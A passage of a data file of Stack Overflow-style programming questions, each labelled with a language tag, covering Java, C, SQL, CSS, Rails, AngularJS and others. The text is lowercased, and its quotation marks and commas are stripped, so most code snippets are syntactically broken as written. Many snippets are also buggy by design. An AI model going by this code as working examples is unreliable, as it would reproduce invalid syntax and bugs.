(int) (math.random() * 7);             int row = (int) (math.random() * 5);             for (int i = 0; i &lt; size; i++) {                 board[row + i][col] =  s ;             }         }     }      public static int userfire(string[][] board  int hits  int torps) {         scanner input = new scanner(system.in);         int row  col;         system.out.println( you have:   + torps +   torpedos left! );         system.out.println( select a row to fire in:  );         row = input.nextint();         while (row &gt; 8 || row &lt; 1) // error checking for row         {             system.out.println( enter a valid row (1 -&gt; 8) );             row = input.nextint();         }         system.out.println( select a column to fire in:  );         col = input.nextint();         while (col &gt; 8 || col &lt; 1) // error checking for column         {             system.out.println( enter a valid col (1 -&gt; 8) );             col = input.nextint();         }         if (board[row - 1][col - 1].equals( s )) {             hits++;             system.out.println( ~~~~~~~ hit ~~~~~~~ );             board[row - 1][col - 1] =  ! ;         } else {             system.out.println( ~~~~~~~ miss ~~~~~~~ );             board[row - 1][col - 1] =  m ;         }         return hits;     }      public static void finall(int hits  int torps) {         if (hits &lt; 4) {             system.out.println( sorry  but you lost because you didn t sink the ship. );         }         if (torps &lt; 1) {             system.out.println( you have lost all your torpedos );         } else if (hits &gt;= 4) {             system.out.println( you have beaten the game battleship  thanks for playing! );         }         system.out.println( good game  well played! );     }      public static void main(string[] arg) {         string[][] board = new string[8][8];         createboard(board);         createship(board  4);         int torps = 15;         int hits = 0;         /// starting real stuff         while (torps &gt; 0 &amp;&amp; hits &lt; 4) {             showboard(board);             hits = userfire(board  hits  torps);             torps--;         }         finall(hits  torps);     } } </code></pre>,java
check whether variable of unknown signedness is in interval  in some c99 code  i need to check whether variable <code>i</code> is in the interval <code>[0  max]</code> where <code>max</code> is known to be positive. the problem is that the type of the variable is allowed to be both signed and unsigned (by changing a <code>typedef</code>). how does one best check that the variable is in the interval     the straightforward approach would be:   <pre><code>bool is_in_interval(my_type i  my_type max) {     assert(max &gt; 0);     return (i &gt;= 0 &amp;&amp; i &lt;= max); } </code></pre>   this will work fine when we have <code>typedef int my_type;</code>. but when <code>my_type</code> is unsigned (i.e.  <code>typedef unsigned int my_type;</code>)  <code>i &gt;= 0</code> is always true and compilers will (rightly) warn for it  which i want to avoid. (i don t want to turn off that warning since it s useful when such comparisons actually are unintended  and just ignoring compiler warnings is not a good idea.)    my current idea is to cast <code>i</code> to an unsigned type and just check the upper bound:   <pre><code>bool is_in_interval(my_type i  my_type max) {     assert(max &gt; 0);     return ((size_t) i &lt;= (size_t) max); } </code></pre>   if the signed type has a two s complement representation  any negative value should be greater than <code>max</code> once cast to the unsigned version  right  if so  this should work. i m  however  uncertain whether this is an advisable approach. is it  for example  safe to assume that signed types use two s complement on all platforms  is there some better way to do this,c
creating a new line in the new file when copying another file  right now i have a simple program that copies a file and outputs the content of the file into whatever file i name so when i type <code>./file text.txt output.txt</code> it copies the content correctly but creates a new line at the end of <code>output.txt</code> when i try diffing it. can anyone tell me why and how to solve it   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  using namespace std;  int main(int argc  char *argv[]) {     ifstream fin;     fin.open(argv[1]  ios::in);      ofstream fout;     fout.open(argv[2]  ios::out);     char getchar;      while (!fin.eof())     {         fin.get(getchar);         fout &lt;&lt; getchar;     }      fin.close();     fout.close();      return 0; } </code></pre>,c++
quotation marks in html attribute values   this may seem like a realy basic question but...    how do you use double speech marks in html code (alt tags and the such)     for example..    i m trying to set a tag in my webpage to <code>opening credits for  it s liverpool </code> but it s limiting it to <code>opening credits for</code>.,html
"why the table tag without width can be centered  i m reading a trick to center element. it said if you want to center the ul element what has no width  a approach is to put it inside a table and set table margin left/right to auto. but the table element itself has no width  why the table can be centered ..    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>table{
     margin:0 auto;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
   &lt;tbody&gt;
     &lt;tr&gt;&lt;td&gt;
  &lt;ul&gt;
      &lt;li&gt;&lt;a href= # &gt;1&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;2&lt;/a&gt;&lt;/li&gt;
         &lt;li&gt;&lt;a href= # &gt;3&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
     &lt;/td&gt;&lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",css
does apple push notification service use udp or tcp   does apple push use tcp or udp to deliver messages from their servers to the device,iphone
update statement using nested query  i have a table:   <pre><code>mytable:     id     userid     logdate     lastlogdate </code></pre>   for every row in that table  i want to update the  lastlogdate  column to be the max value of logdate on a per user basis...    conceptually  each user should have a lastlogdate = the value that is returned by:   <pre><code>select max(logdate) from mytable group by userid </code></pre>   can somebody help me write the update statement for that,sql
rails  deal with alternative camelized classname  i m working on a big old rails app (4.1) that has an issue where there are a group of related classes that use two different camelizations. for example s sake:   <pre><code>class legacystuff; end class legacystuff; end </code></pre>   people on the team trip over this all the time  and i d really like to just nuke the ones that are like <code>legacystuff</code> and camelize them <code>legacystuff</code> which is more widely used in the app and more consistent with camelizing words.    the major problem is  renaming this has turned into a huge pain because one of the classes involved is polymorphic  so there s a table like: <code>gizmos</code> that has a lot of records with type <code>legacystuff</code>.    if we migrate to change that  the app is going to have to have downtime during that deploy or else the workers will start crashing as the database changes aren t compatible with the old code.    is there a way to tell rails polymorphism to use the string <code>legacystuff</code> to point to the class <code>legacystuff</code>     or alternatively is there a clean migration path to avoid the downtime     second  and much less important  all the old stuff has file and foldernames like <code>legacystuff_controller</code> and <code>views/legacystuff</code>  whereas changing the camelization requires renaming all that for the autoloader to work     i expect to just rename the stuff  but out of curiosity is there any way to tell the autoloader about the existence of an irregular class  so that the renaming could be avoided     thanks.,ruby-on-rails
dynamic grid: add more columns when screen size grows  i am trying to make a grid in which columns dynamically adapt to the screen size. the most important criteria is that i want just 1 column on mobile devices or browsers on pc with similar dimensions  more columns can be added when the browser window grows in width.    i have been using a grid to implement this:   <pre><code>.app {   margin: 10px;   text-align: center;   display: grid;   grid-gap: 10px;   justify-items: stretch;   grid-template-columns: repeat(auto-fit  minmax(    )); /* should change */ } </code></pre>   all the content in the grid have same width and look like the following sketched out: <a href= https://i.stack.imgur.com/z95ix.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/z95ix.png  alt= enter image description here ></a> for the specific width of the children of the grid  i was thinking about the <code>minmax</code> function to decide whether it should just fill the full viewport width or not  but i hit a rock there. because if i use something like <code>minmax(25vw  100vw)</code> then i d always have a width of <code>100vw</code> because nothing is preventing it from not being full width.    i am not a css guy and don t have too much experience with it so if i said something completely stupid  don t hesitate to point it out!,css
how can i export the content of a gridview from inside an updatepanel   when i tried hooking the export button to a regular postbacktrigger  it only exported the headers. using a button outside the updatepanel did the same. i then tried using an asyncpostbacktrigger  which just got me a prm error:   <pre><code>//uncaught typeerror: cannot read property  prm_parsererrordetails  of undefined //    at sys.webforms.pagerequestmanager._parsedelta </code></pre>   here s the export function:   <pre><code>public void export_trx_in(object sender  eventargs e)     {         btn_search_inventory_click(sender  e);  // ensure the filters are applied          response.clear();         response.buffer = true;         response.addheader( content-disposition    attachment;filename=warehouse_trx_in.cvs );         response.charset =   ;         response.contenttype =  application/vnd.ms-excel ;         //response.contenttype =  application/vnd.cvs ;          using (stringwriter sw = new stringwriter())         {             htmltextwriter hw = new htmltextwriter(sw);             gv_trx_in.rendercontrol(hw);              response.output.write(html_table_to_tsv(sw.tostring()));             response.flush();             response.end();         }     } </code></pre>   i haven t worked with updatepanels before. this function behaved as expected before i put it in an updatepanel.    any insight would be appreciated!,asp.net
text area maxlength not working  i want to set maximum length to the textarea. i am using following code for the same but it is not working    <pre><code>&lt;textarea name= txtdescription  cols=10 rows=3 maxlength=50&gt;&lt;/textarea&gt; </code></pre>   but it is not working it takes characters beyond 50.,html
is there a way to detect or get a notification when user swipes to scroll   is there a way to detect or get a notification when user swipes to scroll  i am using      (void)scrollviewdidscroll:(uiscrollview *) scrollview;  but i am getting error:  use of undeclared identifier  scrollviewdidscroll  can anyone tell me why     @daf &amp; h2so3   <pre><code> - (void)viewdidload {     [super viewdidload];      // setting the color of this view     self.view.backgroundcolor = [uicolor whitecolor];      //creating scrollview controller     cgrect scrollviewframe = [[uiscreen mainscreen]applicationframe];     scrollview = [[uiscrollview          alloc]initwithframe:cgrectmake(self.view.frame.origin.x self.view.frame.origin.y self.view.frame.size.width (self.view.frame.size.height)/3)];     scrollview.contentsize = cgsizemake(3200  4000);     scrollview.showshorizontalscrollindicator = yes;     scrollview.showsverticalscrollindicator = yes;     scrollview.backgroundcolor = [uicolor graycolor];     scrollview.delegate = self;     scrollview.directionallockenabled = yes;     [self.view addsubview:scrollview];      //creating uiimage      uiimage* image1 = [uiimage imagenamed:@ wallpapers1.jpg ];      //creating image view      uiimageview* imageview1 = [[uiimageview alloc]initwithimage:image1];      imageview1.frame = cgrectmake(1241 0 image1.size.width image1.size.height);      [scrollview addsubview:imageview1];     // [scrollview scrollrecttovisible:cgrectmake(1200  0  100  100) animated:yes]; }  - (void)scrollviewdidscroll:(uiscrollview *)sender {     scrolldirection scrolldirection;     if (self.lastcontentoffset &gt; scrollview.contentoffset.x)         scrolldirection = scrolldirectionright;     else if (self.lastcontentoffset &lt; scrollview.contentoffset.x)         scrolldirection = scrolldirectionleft;      self.lastcontentoffset = scrollview.contentoffset.x;      // do whatever you need to with scrolldirection here. } </code></pre>,ios
what is the reason python handles locals() this way (in pairs)   get this simple python code  same matching with re.compile instance. i noticed that even though i am using the very same value  it creates two instances  and repeats them accordingly.    i wonder if one can tell the reason for this behavior     <ul> <li>why does it create the second instance at all     </li> <li>why only two    </li> <li>and why each time picked the other one and not randomly </li> </ul>   <strong>the cli code:</strong>   <pre><code>&gt;&gt;&gt; import re &gt;&gt;&gt; &gt;&gt;&gt; rec = re.compile( ( :[-a-z0-9]+\.)+[a-z]{2 6}( :\s|$) ) &gt;&gt;&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb238&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb238&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb238&gt; &gt;&gt;&gt; rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; </code></pre>   <strong>edit:</strong>    as <a href= https://stackoverflow.com/users/180174/kimvais >@kimvais</a> <a href= https://stackoverflow.com/a/9160431/9296 >answered</a>  the reason lays in the <code>_</code> which holds the latest assignment. see  if you not assigning  rather printing  it is the same one  all the time.   <pre><code>&gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; &gt;&gt;&gt; print rec.match( www.example.com ) &lt;_sre.sre_match object at 0x23cb1d0&gt; </code></pre>,python
<type  exceptions.importerror > dll load failed:  i got a python script that worked before but doesn t now. i have to run it despite never working with python before.   <pre><code>import sys import packetlogic2 from xml.etree.elementtree import element  subelement  comment  tostring  elementtree #from elementtree_pretty import prettify  host =  85.21.223.68  user =  user  password =  password  startdate =  2017-02-27  enddate =  2017-02-27  path =  /http-domain-distribution statistics object  #vers = [ v15_1 ]   try:     pl = packetlogic2.connect(host  user  password  42000)     # pl.connect(host  user  password)     s = pl.statistics() except:     t  v  tb = sys.exc_info()     print  couldn t connect to packetlogic: t = %s  v = %s  tb = %s  % (t  v  tb)     sys.exit(1) </code></pre>   the result of running it   <pre><code>couldn t connect to packetlogic: t = &lt;type  exceptions.importerror &gt;  v = dll lo ad failed: ═õôõ­ýó  ´¯´¹‗ûó õ¯±‗¾´ó û óõ­õ±¾ ´óý ‗þ.  tb = &lt;traceback object at 0x000000000261e6c8&gt; </code></pre>   i use python 2.7.13 on windows  if that matters. what is this error and how do i run it     edit 13.03.2017    i changed python version to 32 bit and packetlogic2 to 32 bit. started getting <code>error 10060</code>  but at least it s not <code>dll load failed</code> seems like there was a version problem.,python
null / empty value for a struct in .net 1.x  i need use an empty value for an struct.     i don t know which is the best option to do it. i was thinking on use an static readonly field on the struct for it  but i m not sure if it s the best option to do it or not. maybe a  method on a common class  that returns the empty  is a better option.     i m using the struct for performance reasons  so change it to a class is not an option. and i don t sure if i use the static field  the size of each struct instance will be increased.    any ideas,c#
add value to input  i m trying to do simple math with this. the problem i got is that the result is never shown.    html   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;script type= text/javascript  src= http://code.jquery.com/jquery-1.4.3.min.js  &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= script.js &gt;&lt;/script&gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;form&gt;         &lt;input id= data1  type= number  name= data1 &gt;         &lt;br&gt;         &lt;input id= data2  type= number  name= data2 &gt;         &lt;br&gt;         &lt;input id= button  type= submit &gt;         &lt;br&gt;         &lt;br&gt;         &lt;input id= result  type= number  name= result  value= 1 &gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   js: here i got my variables. the result of the equation should shown at the #result input.   <pre><code>$(document).ready(function (){      var result = 0;     $( #result ).val( result );       $( #button ).click(function() {          var data1 = $( #data1 ).val();         var data2 = $( #data2 ).val();          result = $(data1 * data2);          $( #result ).val( result );       });  }); </code></pre>,jquery
how to access local data in new apps from previously deleted app  user s profile in application include some data (like history in browser or tweets in twitter).     i want to use it in new application  <strong>but user can delete old application</strong>.    <strong>what can help me to save this data without losing it when old application will be deleted and get this data when new application will be installed </strong>    maybe there is some ways to save data in iphone files  but i don t want user to see it.    thanks,ios
what is the difference between these two css expressions   i have two css expressions:   <pre><code>.firstexpression.secondexpression (without space) </code></pre>   and   <pre><code>.firstexpression .secondexpression (with space) </code></pre>   what is the difference,css
persistent hashing of strings in python  how would you convert an arbitrary string into a unique integer  which would be the same across python sessions and platforms  for example <code>hash( my string )</code> wouldn t work because a different value is returned for each python session and platform.,python
angular - use service from different module  in angular i m building the following module...   <pre><code>(function () {     //timetrack manual     var app = angular.module( timetrack   [ ngroute    toaster ]);      app.config([ $routeprovider   function ($routeprovider) {         $routeprovider             .when( /login   { templateurl:  assets/app/views/login.html   controller:  logincontroller  })             .when( /calendar   { templateurl:  assets/app/views/calendar.html   controller:  calendarcontroller  })             .otherwise({ redirectto:  login  });     }]); }()); </code></pre>   i m trying to include the toaster service from the a different module...   <pre><code>angular.module( toaster   [ nganimate ]) .service( toaster   [ $rootscope   function ($rootscope) {     this.pop = function (type  title  body  timeout  bodyoutputtype  clickhandler) {         this.toast = {             type: type              title: title              body: body              timeout: timeout              bodyoutputtype: bodyoutputtype              clickhandler: clickhandler         };         $rootscope.$broadcast( toaster-newtoast );     };      this.clear = function () {         $rootscope.$broadcast( toaster-cleartoasts );     }; }])... </code></pre>   i ve then got my a controller that is attempting to include the toaster service from the toaster module...   <pre><code>(function() {     var app = angular.module( timetrack );      var logincontroller = function ($scope  $http  $location  toaster) {      };     app.controller( logincontroller   [ $scope    $http    $location    toaster   logincontroller]); }()); </code></pre>   but when this runs i m getting an error saying  uncaught object .  can anybody see what i might be doing wrong here     thanks,angularjs
why is this infinite recursion   just ask the title asks  here s the code:   <pre><code>&lt; php  $foo = 0;  function letsloop() {     while ($foo != -1) {         changefoo();         echo  hello  world!\n ;     } }  function changefoo() {     extract($globals);      $foo = -1; }  letsloop(); </code></pre>,php
sql: how can i make this query more flexible  persons (table <strong>person</strong>) passed exams with marks (table <strong>exam</strong>) for several disciplines (table <strong>discipline</strong>). i have to fetch table [person/discipline] with mark values in cells.     how can i create a more flexible query than this:   <pre><code>select    p.*   -- persons    ae.*  --  a  exam mark    be.*  --  b  exam mark    ...  from    person p    left outer join exam ae on (p.id = ae.personid and ae.disciplineid = 1)   left outer join exam be on (p.id = be.personid and be.disciplineid = 2)   ...  </code></pre>        i want it to work for an arbitrary range of disciplines.,sql
common view in multiple uiviewcontrollers  i am developing an <strong>iphone</strong> application  where i have a <strong>common header</strong> among all 65 nibs.    so  i googled for one day then i am asking here.    i know i have to make a custom uiview  but how do you <strong>add custom uiview to all uiviewcontrollers</strong> in your app  with <strong> all associated ibactions </strong>    i ve tried this    <pre><code>topviewcontroller *topvc=[[topviewcontroller alloc] initwithnibname:@ topviewcontroller  bundle:nil];  [self.view addsubview:topvc]; </code></pre>   thanks &amp; regards.,iphone
display only checkbox based on boolean  this should be a simple question but i have searched and cannot find the answer. i have an <strong>index</strong> view where i would like to display some boolean values in a table  as check boxes and display-only.    the code below displays a check box but it can be modified  also it doesn t display the value based on the <strong>cosmic.ampliseq</strong> which is a <strong>boolean</strong>.   <pre><code>&lt;% @cosmics.each do |cosmic| %&gt;   &lt;tr&gt;     &lt;td&gt;&lt;%= check_box cosmic.ampliseq   disabled   {}   false    true  %&gt;&lt;/td&gt; </code></pre>,ruby-on-rails
in sql query  filter with where clause on another query result  i m not great with sql  and want to do something that i think is fairly simple. the following query returns a one-column table of ids:   <pre><code>select distinct(email_campaign_id)      from hubspot.email_events a where a.subject in ( subject1    subject2    subject3 ) </code></pre>   i d like to use this column of ids in another query like this:   <pre><code>with relevant_ids as   (   select distinct(email_campaign_id)        from hubspot.email_events a   where a.subject in ( subject1    subject2    subject3 )   )  select *    from hubspot.email_events a where a.email_campaign_id in relevant_ids </code></pre>   however this throws an error:   <pre><code>error: syntax error at or near  relevant_ids  </code></pre>   any idea on what i m doing wrong here  is my use of  with  incorrect,sql
browser back to previous html section  i have a page with many section like below.   <pre><code>&lt;a href= anothe-page-1  name= test 1 &gt;&lt;/a&gt;  &lt;a href= anothe-page-2.html  name= test 2 &gt;&lt;/a&gt; </code></pre>   when i travel from this page to anothe-page-2.html  it is possible when user click back button (from the browser) return and jump to <code>&lt;a name= test 2 &gt;&lt;/a&gt;</code>,html
non-static method compute(int) cannot be referenced from a static context  the code given below is giving the following error:- non-static method compute(int) cannot be referenced from a static context if i cannot create a method inside main()  what should i do.     <pre><code>class ideone { public static void main (string[] args) throws java.lang.exception {     scanner key = new scanner(system.in);     int t = key.nextint();     for(int i=0;i&lt;t;i++){         int a = key.nextint();         int b = key.nextint();         a=compute(a);         b=compute(b);         system.out.println(a+b);     }    } int compute(int a){     int basea=0  digit;     int temp=a;     while(temp&gt;0){         digit = temp%10;         temp/=10;         if(digit&gt;(basea-1))basea=digit+1;     }     temp=a;     a=0;     int count=0;     while(temp&gt;0){         digit = temp%10;         temp/=10;         a+=digit*math.pow(basea count);         count++;     }     return a; } </code></pre>,java
issue in left join using mysql query  i have this query here   <pre><code>$rs = mysql_query( select username.users phone.users user_id.coupon points.coupon time.coupon from users left join coupon on username.users = coupon.user_id where coupon.user_id like  %$search%  or coupon.time like  %$search%  order by $sort $order limit $offset $rows );   where   $sort = isset($_post[ sort ])   strval($_post[ sort ]) :  time ;    </code></pre>   am i doing any error here  i don t get any result   please help me with this.    thanks..,mysql
dynamic css with angular js not working  i have this div in html and i want to add css class to it in controller. but it is not working.please find html file and controller below.         -->     <pre><code>app.controller( rolescontroller   function($scope  $timeout) {     console.log($scope.class+ outsideclicked );     $scope.class =  section ;     $scope.changeclass = function(event){     //console.log(event.offsetx);      if ($scope.class == section  || $scope.class == test )         {           //console.log(event.target.getboundingclientrect());           console.log($scope.class);            var style = document.createelement( style );             style.type =  text/css ;           var next = .new{animation-name: anim forwards;animation-duration:2s;animation-fill-mode: forwards;} ;            var keyframes =  @keyframes anim { from {margin-left: +value+ ;}to {margin-left: +value_next+ ;}} ;           document.getelementsbytagname( head )[0].appendchild(style);           //   alert(document.getelementbyid( horse1 ).classname);             $scope.class =  test ;             console.log($scope.class+ clicked );             var e = document.getelementbyid( horse1 );             var value = window.getcomputedstyle(e  null).getpropertyvalue( margin-left );             var value_next = parseint( value  10 ) + parseint(  100px   10 ) +  px ;             /*alert(value);             alert(value_next);*/           }      $timeout(function () {         $scope.class =  section ;         console.log( 1 +$scope.class);     }  5000);    };   console.log( 2 +$scope.class);     }); </code></pre>,angularjs
how does javascript reference a variable inside a callback   so if i have some javascript like:   <pre><code>foo.init = function(options) {   bar.set_listener( some_event   function() {     console.log(options);   }); }; </code></pre>   where i call foo.init with some options like foo.init({whatever:  hi }) and that bar.set_listener method takes the callback and stores it  and then invokes it at some later time when  some_event  is triggered....    will console.log print undefined or {whatever:  hi }    the answer seems to be {whatever:  hi } but that confuses me.  how does this callback when invoked have any idea how to reference the options variable passed in to foo.init,javascript
check if all elements satisfy a condition  i need a jquery filter/map/each type function to check if all elements satisfy a condition:   <pre><code>function areallvalid(inputs){      return $.somefunction(inputs  function(input) { return input.length &gt; 0; });  } </code></pre>   if all inputs have length > 0 <code>somefunction</code> should return true. anything like this in jquery,jquery
objectinputstream available() method doesn t work as expected (java)  i ve been trying to figure out why a method i ve written to read objects from a file didn t work and realized that the available() method of objectinputstream gave 0 even though the file wasn t fully read. the method did work after i ve used the fileinputstream available() method instead to determine the eof and it worked!    why doesn t the method work for objectinputstram while it works for fileinputstream     here s the code:   <pre><code>public static void getarrfromfile() throws ioexception  classnotfoundexception {     product p;     fileinputstream in= new fileinputstream(fname);     objectinputstream input= new objectinputstream(in);     while(in.available()&gt;0){         p=(product)input.readobject();         if (p.getprice()&gt;3000)             system.out.println(p);     }     input.close(); </code></pre>   p.s- i ve read that i should use the eof exception instead of available() for this  but i just wanna know why this doesn t work.    thanks a lot!!!,java
why does my sql generate weird naming in rails   this query generates some strange sql and i don t understand where the weird table name comes from:    <code>order.apples.joins(:apple_trees).to sql</code>    results in:   <pre><code>select  apples .* from  apples  inner join  apple_trees   apple_trees_trees  on  apple_trees_trees . apple_id  =  apple . id  inner join  apple_trees  on  apples . id  =  apple_trees . apple_id  where  apple_trees . tree_id  = $1  [[ tree_id   393]] </code></pre>   i’m confused about this part:   <pre><code>inner join  apple_trees   apple_trees_trees  on  apple_trees_trees . apple_id  =  apple . id   </code></pre>   what is that apple_trees_trees part all about  i only have an apples table and an apple_trees table. why does this sql generated have an extra <code>trees</code> attached to the table name,sql
css two div beside eachother without overlap on windows resize  the following is my html and css code       <pre><code>&lt;body&gt; &lt;div style= display: inline; postion: relative; float: left; width: 20%; min-height: 350px; background-color:red &gt; tessssssssstttttttttttttttttttttttttttttttttttttttttttttt123 &lt;/div&gt; &lt;div style= display: inline; postion: relative; float: left; width:80%; min-height: 350px; background-color:green &gt;  &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   on windows resize  two div overlaps  is there any way to avoid this  i want two divs to always stay in one line no matter what window size (also both divs contents gets wrapped inside each div).    appreciate any help  thanks,css
instantiating a .net object by classname  i have an abstract class step  and many descendant step classes that i would like to instantiate based on an xml document.    as such i would like to create an instance of a particular step class based on the type in the xml document    step type= generatereport     .... step type= printreport     ....    how can i instantiate an object by specifying the classname (and ideally the parameters to be passed through to the constructor),.net
entity relationship model diagram  i need to design an entity relationship diagram for a movie database with the following requirements..   <ol> <li> each movie is identified by its title  year of release and length in minutes and can have 0 or more languages </li> <li> production companies are identified by name. they have an address and each production company can produce one or more movies </li> <li> actors are identified by name  date of birth and can act in one or more movies - and each has a role in movies </li> <li> directors are identified by name and date of birth  so each director can direct one or more movies  and each movie can be directed by one or more directors </li> <li> each movie belongs to any one category like horror  action  drama etc. </li> </ol>,sql
how can i loop through nested json and get array unique value from field  i got this format in json. i need unique values of  volume . so in result i d get only  30  and  40 . i used loop inside of another loop  but it returns unique values from each product  which is not what i want. i m using angular 1 in ionic.   <pre><code>{   data : [     {          id : 1           title :  category title            products : [             {                  id : 1                   title :  product title                    volume :  40              }              {                  id : 2                   title :  product title                    volume :  30              }         ]     }       {          id : 2           title :  another category title            products : [             {                  id : 3                   title :  product title                    volume :  40              }              {                  id : 3                   title :  product title                    volume :  30              }         ]     }  ]  } </code></pre>   thanks,angularjs
exception handling fix  my code is printing  element not found in array  as many times as it takes to get to that number in the array why and how do i fix that.     my assignment:    create a java program with a method that searches an integer array for a specified integer value (see help with starting the method header below). if the array contains the specified integer  the method should return its index in the array. if not  the method should throw an exception stating  element not found in array  and end gracefully. test the method in main with an array that you make and with user input for the  needle .    public static int returnindex(int[ ] haystack  int needle) {    my code so far:   <pre><code>import java.util.scanner; public class assignment1 {   public static void main(string[] args) {      int[] haystack = { 4 5 6 7 12 13 15 16 22 66 99 643 };              scanner sc = new scanner(system.in);      system.out.println( enter a number in the array:  );                      int needle = sc.nextint();      returnindex(haystack needle);     }  public static int returnindex(int[] haystack  int needle) {         for (int n = 0; n &lt; haystack.length; n++) {             if (haystack[n] == needle)                  return n;             else                  system.out.println( element not found in array );         }         return -1;       }  } </code></pre>   my output:    <pre><code>enter a number in the array:  7 element not found in array element not found in array element not found in array </code></pre>   or   <pre><code>enter a number in the array:  15 element not found in array element not found in array element not found in array element not found in array element not found in array element not found in array </code></pre>,java
rails nested resources redirection after update  good day all  i m pulling my hair out on this one  i ve seen similar posts but none of them get me in the direction i m trying to go.  that said  i ve got a pretty complex app that s relying heavily on nested resources and name-spacing  when i save a record it saves perfectly and redirects correctly. when i update that same record the url changes but not as i would expect. i understand the flow from edit to update and  the set_input call pulling the params[:id]  what i don t understand is why the url is changing the parents resource to reflect the record id.    <pre><code>/servers/1/features/rsyslog_inputs/12/edit  </code></pre>   changes to the following after update   <pre><code>/servers/12/features/rsyslog_inputs/12/edit  </code></pre>   <strong>logs</strong>   <pre><code>started get  /servers/1/features/rsyslog_inputs/12/edit  for 127.0.0.1  at 2017-12-08 12:27:55 -0600 processing by features::rsysloginputscontroller#edit as html   parameters: { server_id =&gt; 1    id =&gt; 12 }   rsysloginput load (0.6ms)  select   rsyslog_inputs .* from  rsyslog_inputs  where  rsyslog_inputs . id  = $1 limit $2  [[ id   12]  [ limit   1]]   rendering features/rsyslog_inputs/edit.html.erb within layouts/application   rendered shared/_error_messages.html.erb (0.4ms) [cache miss]   rendered features/rsyslog_inputs/_form.html.erb (4.3ms) [cache miss]   rendered features/rsyslog_inputs/edit.html.erb within layouts/application (6.5ms)   rendered layouts/_shim.html.erb (0.5ms) [cache miss]   user load (1.1ms)  select   users .* from  users  where  users . id  = $1 order by  users . id  asc limit $2  [[ id   1]  [ limit   1]]   rendered layouts/_navbar_top.html.erb (0.9ms) [cache miss]   rendered layouts/_navbar_side.html.erb (0.5ms) [cache miss]   completed 200 ok in 90ms (views: 84.7ms | activerecord: 1.7ms) </code></pre>   here the patch has modified the servers/:id to reflect the id of the rsyslog_inputs and not retained its  1  as shown above    <pre><code>started patch  /servers/12/features/rsyslog_inputs/12  for 127.0.0.1 at 2017-12-08 12:27:58 -0600 processing by features::rsysloginputscontroller#update as html   parameters: { utf8 =&gt; ✓    authenticity_token =&gt; dft61ncqwxokpmscrkngt47zxddhzmuccyj5fzkrdbaovqkflxmvebuj20zkkhq8wge4fi2qew98clviyo4wqw==    rsyslog_input =&gt;{ inputs_interface =&gt; eth04    inputs_ip_address =&gt; 1.1.1.1    inputs_input_type =&gt; tcp    inputs_port_number =&gt; 22    inputs_input_name =&gt; test02    inputs_tls =&gt; 0 }   commit =&gt; save input    appliance_id =&gt; 12    id =&gt; 12 }   rsysloginput load (0.7ms)  select   rsyslog_inputs .* from  rsyslog_inputs  where  rsyslog_inputs . id  = $1 limit $2  [[ id   12]  [ limit   1]]   (0.6ms)  begin   server load (1.0ms)  select   servers .* from  servers  where    servers . id  = $1 limit $2  [[ id   1]  [ limit   1]]   sql (1.0ms)  update  rsyslog_inputs  set  inputs_interface  = $1   updated_at  = $2 where  rsyslog_inputs . id  = $3  [[ inputs_interface    eth04 ]  [ updated_at    2017-12-08 18:27:58.904817 ]  [ id   12]]  (0.8ms)  commit  redirected to http://localhost:3000/servers/12/features/rsyslog_inputs completed 302 found in 12ms (activerecord: 4.0ms)  </code></pre>   <strong>controller</strong>   <pre><code>class features::rsysloginputscontroller &lt; applicationcontroller   before_action :set_input  only: [:show  :edit  :update  :destroy]    def index     # let s search for all inputs associated with the corresponding appliance     @inputs = rsysloginput.where(server_id: params[:server_id])   end    def create     @input = rsysloginput.new(input_params)     @input.build_server     @input.server_id = params[:server_id]     if @input.save       flash[:notice] =  input was successfully saved.        redirect_to server_features_rsyslog_inputs_path     else       render( new )     end   end    def destroy     if @input.destroy       flash[:notice] =  input was successfully destoryed.        redirect_to server_features_rsyslog_inputs_path     else       flash[:alert] =  unable to destroy #{@input.inputs_input_name}      end   end    def update      if @input.update(input_params)       flash[:notice] =  input was successfully updated        redirect_to server_features_rsyslog_inputs_path      else       render( edit )     end   end    def new     @input = rsysloginput.new   end    def edit; end    def show ;end    private    def set_input     @input = rsysloginput.find(params[:id])   end    def input_params     params.require(:rsyslog_input).permit(:inputs_interface                                    :inputs_input_type                                    :inputs_ip_address                                    :inputs_port_number                                    :inputs_input_name                                    :inputs_tls                                    :server_id)   end   end </code></pre>   <strong>form</strong>   <pre><code>&lt;%= form_for ([:server  :features  @input]) do |f| %&gt;     &lt;%= render  shared/error_messages   object: f.object %&gt;     &lt;br/&gt;      &lt;div class= form-group  clients-form-container &gt;       &lt;%= f.label :inputs_interface   input interface:   class:  col-3 col-form-label  %&gt;       &lt;div class= col-3 &gt;         &lt;%= f.text_field 